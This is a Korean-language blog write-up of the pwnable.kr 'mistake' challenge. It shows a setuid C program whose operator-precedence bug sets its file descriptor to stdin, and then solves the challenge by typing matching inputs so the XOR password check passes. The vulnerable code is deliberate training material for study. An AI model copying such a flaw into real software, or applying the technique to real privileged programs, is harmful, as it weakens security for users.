ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [Toddler's Bottle] mistake write up
    System hacking training/pwnable.kr 2018. 7. 11. 05:08


    오늘은 mistake를 풀어봤습니다.

    input, passcode 문제를 풀이하려고 했는데 어렵네요..
    쉬운 1pt 문제입니다.


    We all make mistakes, let's move on.
    (don't take this too seriously, no fancy hacking skill is required at all)

    This task is based on real event
    Thanks to dhmonkey

    hint : operator priority

    ssh mistake@pwnable.kr -p2222 (pw:guest)

    Operator priority 즉 연산자 우선순위가 힌트로 주어졌습니다.
    ssh 접속 후 파일 목록을 확인하면 아래와 같습니다.

    mistake@ubuntu:~$ ls -al
    total 44
    drwxr-x---  5 root        mistake 4096 Oct 23  2016 .
    drwxr-xr-x 87 root        root    4096 Dec 27  2017 ..
    d---------  2 root        root    4096 Jul 29  2014 .bash_history
    -r--------  1 mistake_pwn root      51 Jul 29  2014 flag
    dr-xr-xr-x  2 root        root    4096 Aug 20  2014 .irssi
    -r-sr-x---  1 mistake_pwn mistake 8934 Aug  1  2014 mistake
    -rw-r--r--  1 root        root     792 Aug  1  2014 mistake.c
    -r--------  1 mistake_pwn root      10 Jul 29  2014 password
    drwxr-xr-x  2 root        root    4096 Oct 23  2016 .pwntools-cache
    mistake@ubuntu:~$

    mistake.c 파일을 열어 mistake이 어떤 바이너리인지 확인을 해보면 아래와 같습니다.

    mistake@ubuntu:~$ cat mistake.c
    #include <stdio.h>
    #include <fcntl.h>

    #define PW_LEN 10
    #define XORKEY 1

    void xor(char* s, int len){
        int i;
        for(i=0; i<len; i++){
            s[i] ^= XORKEY;
        }
    }

    int main(int argc, char* argv[]){
        
        int fd;
        if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
            printf("can't open password %d\n", fd);
            return 0;
        }

        printf("do not bruteforce...\n");
        sleep(time(0)%20);

        char pw_buf[PW_LEN+1];
        int len;
        if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
            printf("read error\n");
            close(fd);
            return 0;        
        }

        char pw_buf2[PW_LEN+1];
        printf("input password : ");
        scanf("%10s", pw_buf2);

        // xor your input
        xor(pw_buf2, 10);

        if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
            printf("Password OK\n");
            system("/bin/cat flag\n");
        }
        else{
            printf("Wrong Password\n");
        }

        close(fd);
        return 0;
    }

    mistake@ubuntu:~$


    flag 파일을 열기 위해서는 pw_buf[PW_LEN]과 pw_buf2[PW_LEN]의 값이 같아야합니다.
    여기서 저는 보통 파일을 열때 fopen() 이라는 함수를 사용하는데 왜 여기서는 open() 함수를 사용했는지에 대해 의문을 가졌고 문제 이름이 mistake인 만큼 좀 더 자세히 알 필요가 있다고 생각했습니다.

    그래서 제 로컬 linux에서 똑같은 환경을 구성해주고 아래와 같이 바이너리 하나를 만들어줬습니다.

    ⚡ root@ubuntu  /home/mistake  pwd
    /home/mistake
    ⚡ root@ubuntu  /home/mistake  ls
    mistake  mistake.c  password
    ⚡ root@ubuntu  /home/mistake  cat mistake.c
    #include <stdio.h>
    #include <fcntl.h>

    int main(int argc, char *argv[])
    {
        int fd;
        if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)
        {
            printf("can't open password %d\n",fd);
            return 0;
        }
        printf("fd : %d\n", fd);
        return 0;
    }
    ⚡ root@ubuntu  /home/mistake 


    이렇게 했을 때 fd에는 0이 들어가더군요.

    ⚡ root@ubuntu  /home/mistake  ./mistake
    fd : 0

    왜 그런지 확인해보면 연산자 우선순위에 대한 실수가 존재하는 것을 알 수 있습니다.

    ⚡ root@ubuntu  /home/mistake  cat mistake.c
    #include <stdio.h>
    #include <fcntl.h>

    int main(int argc, char *argv[])
    {
        int fd;
        if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)
        {
            printf("can't open password %d\n",fd);
            return 0;
        }
        printf("fd : %d\n", fd);
        return 0;
    }

    위에서 연산자 우선순위에 대한 실수가 있는데 비교연산자 '<' 는 대입연산자 '=' 보다 우선순위가 높기 때문에 open()의 반환값은 양수이고 양수 < 0 을 비교하는데 이 조건은 flase가 되고 fd에는 0이 들어가게 됩니다.

    그렇다면 read(fd, pw_buf, PW_LEN) 에서 pw_buf에 10자 입력을 받게 되는데 fd값이 당연히 0이기 때문에 가능합니다.

    이를 이용하여 pw_buf에도 입력을 할 수 있고, pw_buf2에도 입력을 할 수 있게 되어 xor 연산을 해도 참값이 나오도록
    pw_buf 에는 '1' 10개 , pw_buf2에는 '0' 10개를 넣어준다면 flag파일을 열어볼 수 있습니다.

    mistake@ubuntu:~$ ./mistake
    do not bruteforce...
    1111111111
    input password : 0000000000
    Password OK
    flag~~~~

    flag값은 가려두었습니다.
    이상 풀이를 마칩니다.


    반응형
Designed by Tistory.